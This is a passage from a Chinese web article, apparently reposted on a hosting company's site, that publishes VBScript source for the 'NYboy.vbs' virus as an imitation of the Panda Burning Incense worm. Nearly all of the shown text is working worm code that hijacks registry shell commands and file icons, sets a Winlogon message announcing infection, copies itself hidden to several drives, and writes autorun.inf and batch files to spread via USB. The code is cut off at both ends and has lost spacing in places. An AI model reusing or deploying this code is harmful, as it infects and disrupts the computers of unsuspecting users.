NYboy.vbs病毒源代码公布，我来模拟熊猫烧香
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| CR\Directory\shell\auto\command\","C:\NYboy.bat''%1''" wsh.Regwrite"HKLM\SOFTWARE\Classes\Directory\shell\auto\command\","C:\NYboy.bat''%1''" ''修改默认文件图标 这里可以换成可爱的熊猫哦 wsh.Regwrite"HKCR\exefile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKCR\txtfile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKCR\dllfile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKCR\batfile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKCR\inifile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKLM\SOFTWARE\Classes\exefile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKLM\SOFTWARE\Classes\txtfile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKLM\SOFTWARE\Classes\dllfile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKLM\SOFTWARE\Classes\batfile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKLM\SOFTWARE\Classes\inifile\DefaultIcon\","c:\1.ico" wsh.Regwrite"HKLM\Software\CLASSES\.reg\","txtfile" wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你好啊，大兵和你开个小小的玩笑" wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","你已经中毒了，赶快杀毒或者与QQ252287438联系" ''复制自身到C,D,E,F,U盘 myfile.copy"c:\" myfile.copy"D:\" myfile.copy"E:\" myfile.copy"F:\" myfile.copy"I:\" myfile.attributes=34 ''定义Autorun.inf的内容 这个就是u盘病毒必须的代码部分 这里可以简单写 Iffso.FileExists("C:\autorun.inf")Then SetobjFolder=fso.GetFile("C:\autorun.inf") Else wsh.run"cmd/cecho[AutoRun]>>C:\autorun.inf"_ &"&&echoopen=NYboy.bat>>C:\autorun.inf"_ &"&&echoshellexecute=NYboy.bat>>C:\autorun.inf"_ &"&&echoshell\Auto\command=NYboy.bat>>C:\autorun.inf"_ &"&&echoshell=Auto>>C:\autorun.inf"_ &"&&attrib+h+s+rC:\autorun.inf" setautobatc=fso.createtextfile("c:\NYboy.bat",1,ture) autobatc.writeline("NYboy.vbs") EndIf Iffso.FileExists("D:\autorun.inf")Then SetobjFolder=fso.GetFile("D:\autorun.inf") Else wsh.run"cmd/cecho[AutoRun]>>D:\autorun.inf"_ &"&&echoopen=NYboy.bat>>D:\autorun.inf"_ &"&&echoshellexecute=NYboy.bat>>D:\autorun.inf"_ &"&&echoshell\Auto\command=NYboy.bat>>D:\autorun.inf"_ &"&&echoshell=Auto>>D:\autorun.inf"_ &"&&attrib+h+s+rD:\autorun.inf" setautobatd=fso.createtextfile("D:\NYboy.bat",1,ture) autobatd.writeline("NYboy.vbs") EndIf Iffso.FileExists("E:\autorun.inf")Then SetobjFolder=fso.GetFile("E:\autorun.inf") Else wsh.run"cmd/cecho[AutoRun]>>E:\autorun.inf"_ &"&&echoopen=NYboy.bat>>E:\autorun.inf"_ &"&&echoshellexecute=NYboy.bat>>E:\autorun.inf"_ &"&&echoshell\Auto\command=NYboy.bat>>E:\autorun.inf"_ &"&&echoshell=Auto>>E:\autorun.inf"_ &"&&attrib+h+s+rE:\autorun.inf" setautobate=fso.createtextfile("E:\NYboy.bat",1,ture) autobate.writeline("NYboy.vbs") EndIf Iffso.FileExists("F:\autorun.inf")Then SetobjFolder=fso.GetFile("F:\autorun.inf") Else wsh.run"cmd/cecho[AutoRun]>>F:\autorun.inf"_ &"&&echoopen=NYboy.bat>>F:\autorun.inf"_ &"&&echoshellexecute=NYboy.bat>>F:\autorun.inf"_ &"&&echoshell\Auto\command=NYboy.bat>>F:\autorun.inf"_ &"&&ec |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于NYboy.vbs病毒源代码公布，我来模拟熊猫烧香的所有评论
